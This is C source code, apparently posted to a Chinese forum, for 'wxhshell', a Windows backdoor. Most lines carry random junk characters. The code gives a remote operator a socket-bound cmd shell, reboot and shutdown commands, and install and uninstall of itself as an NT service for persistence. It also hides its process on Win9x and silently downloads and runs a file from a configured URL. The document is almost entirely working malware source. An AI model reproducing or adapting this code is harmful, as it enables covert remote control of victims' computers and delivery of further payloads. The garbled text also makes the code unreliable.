  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Z}uN!Jm  
  } C=2"*>lTn  
  else { Cc^`M9dP  
b$)b/=2  
    switch(cmd[0]) { P<yd  
  \:ntqj&A|  
  // 帮助 }TD$ !  
  case '?': { *X_CtjgF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8_WFSF^  
    break; K| #%u2C  
  } CI$pPY<u1  
  // 安装 _ q`$W9M+k  
  case 'i': { c!"&E\F  
    if(Install()) 4{H>V_9zs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J@'}lG  
    else UV8,SSDTV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cn4o^6?"  
    break; eKV^ia  
    } TIlBT{A<  
  // 卸载 b?`8-g  
  case 'r': { z1A[rbe=4w  
    if(Uninstall()) &scHyt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qk?;nF  
    else #7K&x.w$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Tuc#yFw  
    break; gf2<dEff  
    } ZVu&q{s,  
  // 显示 wxhshell 所在路径 .nX+!EXeS  
  case 'p': { * Zb-YA  
    char svExeFile[MAX_PATH]; [|<2BQX  
    strcpy(svExeFile,"\n\r"); RGy4p)z*+  
      strcat(svExeFile,ExeFile); }|>mR];  
        send(wsh,svExeFile,strlen(svExeFile),0); l?E7'OEF:  
    break; Vh1{8'G Q  
    } Dn;6O  
  // 重启 8;>vgD  
  case 'b': { Fa78yY+6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M rpn^C2)  
    if(Boot(REBOOT)) !7XAc,y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z!o&};_j  
    else { HH/ bBM!  
    closesocket(wsh); Ht#5;c2/  
    ExitThread(0); !DFT}eu  
    } yAO Ye"d  
    break; @Q~Oc_z  
    } b}63?.M{  
  // 关机 #:"F-3A0  
  case 'd': { 7+';&2M)n~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EJ&[I%jU  
    if(Boot(SHUTDOWN)) X=]FVHV;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )+T\LU  
    else { 'P(S*sr  
    closesocket(wsh); 6c-y<J+&s  
    ExitThread(0); f%ude@E3  
    } 2VaQxctk  
    break; =y.!Ny5A  
    } y)N57#e  
  // 获取shell o#Q0J17i?  
  case 's': { >]uV  
    CmdShell(wsh); |~vo  
    closesocket(wsh);  9')  
    ExitThread(0); :X7"fX  
    break; D> wq4u  
  } t~m >\(&  
  // 退出 V"=(I'X  
  case 'x': { G/T oiUY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mEsOYIu{  
    CloseIt(wsh); Nb/W+& y  
    break; f,{O%*PUA  
    } h ,;f6  
  // 离开 >g8H  
  case 'q': { D.?Rc'y D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9C[i#+_3M  
    closesocket(wsh); B;.]<k'3  
    WSACleanup(); `0a=A#]1o  
    exit(1); /Zs;dam  
    break; 1s5F jD?M  
        } lJHV c"*/  
  } ^b)8l  
  } hd*bPj ;  
Cisv**9  
  // 提示信息 $oKT-G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <RzGxhT  
} eZ+pZq  
  } n<47#-  
K cI'P(  
  return; Eshc"U  
} T0Lh"_X3  
Dj!v+<b  
// shell模块句柄 CjRI!}S  
int CmdShell(SOCKET sock) []R`h*#  
{ Yg_;Eu0'?  
STARTUPINFO si; 4E[ 9)n+YV  
ZeroMemory(&si,sizeof(si)); P9(]9np,,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L|hsGm\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c\.Hs9T >  
PROCESS_INFORMATION ProcessInfo; T;/Y/Fd  
char cmdline[]="cmd"; ?`R;ZT)U-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZZ/F}9!=  
  return 0; <n+?7`d,  
} )Zx;Z[  
#P[d?pY  
// 自身启动模式 oJ}!qrrH  
int StartFromService(void) ~"-+BG(5  
{ B?d^JWTZ  
typedef struct yhF{ cK =  
{ -90qG"@  
  DWORD ExitStatus; yhnhORSY;  
  DWORD PebBaseAddress; >|h$d:~n  
  DWORD AffinityMask; ^id9_RU   
  DWORD BasePriority; YCJcDab  
  ULONG UniqueProcessId; {s^vAD<~x3  
  ULONG InheritedFromUniqueProcessId; s~OGl PK  
}   PROCESS_BASIC_INFORMATION; (' yBIb\ue  
MVe:[=VOT|  
PROCNTQSIP NtQueryInformationProcess; 1&\ A#  
Fy(-.S1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i U3GUsPy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d8l T+MS=  
$ {29[hO  
  HANDLE             hProcess; |ymw])L  
  PROCESS_BASIC_INFORMATION pbi; k e$g[g  
t[>y=89  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1+`Bli]dE  
  if(NULL == hInst ) return 0; R%7* )3$&r  
9a_B   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); # `}(x;ge  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !brXQj8D7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H(}Jt!/:  
QoagyL  
  if (!NtQueryInformationProcess) return 0; 3q +C8_:  
a%R'x]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M6yzqAh  
  if(!hProcess) return 0; %"#%/>U4  
5\hJ&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JIeKp7;^  
Aj| Gqw>  
  CloseHandle(hProcess); e)Q{yO  
C*O648yz[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HR0t[*  
if(hProcess==NULL) return 0; !YJfP@"e6r  
=*K~U# uoC  
HMODULE hMod; 3]Jl\<0  
char procName[255]; VXr'Z  
unsigned long cbNeeded; (N6 3k1M  
=b\k$WQ_(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }6Y D5?4  
a~#MMl  
  CloseHandle(hProcess); ci]IH]x  
]xJ5}/  
if(strstr(procName,"services")) return 1; // 以服务启动 fb8"hO]s  
6]`XW 0{C  
  return 0; // 注册表启动 mc{gcZIm  
} >GRL5Iow  
e+Qq a4  
// 主模块 Z' cQ< f  
int StartWxhshell(LPSTR lpCmdLine) cY&SKV#  
{ /{|<3CEe  
  SOCKET wsl; EvA{@g4>  
BOOL val=TRUE; \SA"DT  
  int port=0; G8Hj<3`  
  struct sockaddr_in door; ] T `6Hz!  
JPeZZ13sS  
  if(wscfg.ws_autoins) Install(); \2$-.npz  
if|j)h&  
port=atoi(lpCmdLine); M6$9-  
EVovx7dr  
if(port<=0) port=wscfg.ws_port; !uIT5D  
j Wa%vA  
  WSADATA data; l# -4}95  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j,7NLb9M  
8#NI`s*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qx#k()E.U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oH;0_!  
  door.sin_family = AF_INET; o: \&4z&=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); al{;]>W  
  door.sin_port = htons(port); V1aWVLltj  
5f.G^A: _X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )e,Rp\fY$  
closesocket(wsl); m 6V:x/'=  
return 1; #g)$m}tv?  
} HiTn5XNf  
%cy]dEL7  
  if(listen(wsl,2) == INVALID_SOCKET) { b{:c0z<  
closesocket(wsl); z:m`  
return 1; UkO L7M  
} 4Ji6B)B  
  Wxhshell(wsl); ym>>5(bni  
  WSACleanup(); XaFu(Xu7  
>.P/fnvJ  
return 0; kpxWi=y  
*k&yD3br-V  
} >]6 inS9  
0RaE!4)!;  
// 以NT服务方式启动  C~C}b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cmw2EHTT<  
{ VBHDI{HzRv  
DWORD   status = 0; T#L/HD  
  DWORD   specificError = 0xfffffff; *3,GQ%~/z  
x3X^\ Ig  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RTHe#`t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %Se@8d8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AOh\%|}  
  serviceStatus.dwWin32ExitCode     = 0; v0~'`*|&  
  serviceStatus.dwServiceSpecificExitCode = 0; wUnz D)  
  serviceStatus.dwCheckPoint       = 0; SONv] ));  
  serviceStatus.dwWaitHint       = 0; p&Os5zw;|  
D{%l 4og  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }3G`f> s  
  if (hServiceStatusHandle==0) return; /h/f&3'h  
+`;YK7o  
status = GetLastError(); bnso+cA  
  if (status!=NO_ERROR) M MyVm"w  
{ eB]cPo4gW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tbx* }uy2  
    serviceStatus.dwCheckPoint       = 0; ^h q?E2-  
    serviceStatus.dwWaitHint       = 0; ,4RmT\%T  
    serviceStatus.dwWin32ExitCode     = status; @S69u s}  
    serviceStatus.dwServiceSpecificExitCode = specificError; a4zq`n|3U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7d44i  
    return; Im7t8XCG  
  } RyI(6TZl  
Gp0B^^H$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $L~?!u&N  
  serviceStatus.dwCheckPoint       = 0; qs96($  
  serviceStatus.dwWaitHint       = 0; .X D.'S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ch3{q/-g  
} &$\B&Hp@  
E?L^ L3s  
// 处理NT服务事件,比如:启动、停止 ZGstD2 N$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6 WD(  
{ 'qhi8=*  
switch(fdwControl) \I! C`@0  
{ [M:ag_rm+f  
case SERVICE_CONTROL_STOP: '}\#bMeObg  
  serviceStatus.dwWin32ExitCode = 0; @O&<_&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KW3Dr`A  
  serviceStatus.dwCheckPoint   = 0; !,;>)R   
  serviceStatus.dwWaitHint     = 0; 4|?y [j6  
  { ~ULD{Ov'F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9VEx0mkdd  
  } 'p%\fb6`  
  return; 7Wd}H Z  
case SERVICE_CONTROL_PAUSE: k0%*{IVPN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C\ ~!2cy  
  break; =5 a|'O  
case SERVICE_CONTROL_CONTINUE: V^n?0^o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0^5*@vt  
  break; L7~9u|7a#  
case SERVICE_CONTROL_INTERROGATE: utH,pGs C.  
  break; Y[(U~l,a+  
}; hJkP_( +J\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SN${cs%  
} {8!\aYI  
W@X/Z8.(  
// 标准应用程序主函数 v;S_7#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q%G"P*g$(  
{ k<bA\5K  
?3f-" K_r  
// 获取操作系统版本 L7\ rx w  
OsIsNt=GetOsVer(); 8'niew 5d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yy,i,c`r  
PRR]DEz  
  // 从命令行安装 'Y6x!i2  
  if(strpbrk(lpCmdLine,"iI")) Install(); EWI2qaSnO  
my.%zF  
  // 下载执行文件 ^Po^Co  
if(wscfg.ws_downexe) { q+KGQ*   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2H h5gD|>  
  WinExec(wscfg.ws_filenam,SW_HIDE); oS2L"#  
} Ne 2tfiI`  
Thlqe?  
if(!OsIsNt) { N ,8^AUJ3&  
// 如果时win9x,隐藏进程并且设置为注册表启动 _LVi}mM  
HideProc(); <)f1skJsP  
StartWxhshell(lpCmdLine); - &AgjzN!  
} 12D>~#J  
else hd~3I4D  
  if(StartFromService()) 2{- };  
  // 以服务方式启动 /o$C=fDF  
  StartServiceCtrlDispatcher(DispatchTable); riy@n<Z4  
else m2i'$^a#  
  // 普通方式启动 ( 04clU^F  
  StartWxhshell(lpCmdLine); qs9q{n-Aj  
 T:~c{S4&  
return 0; vr:5+wew  
}
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只看该作者 1 发表于: 2006-10-10
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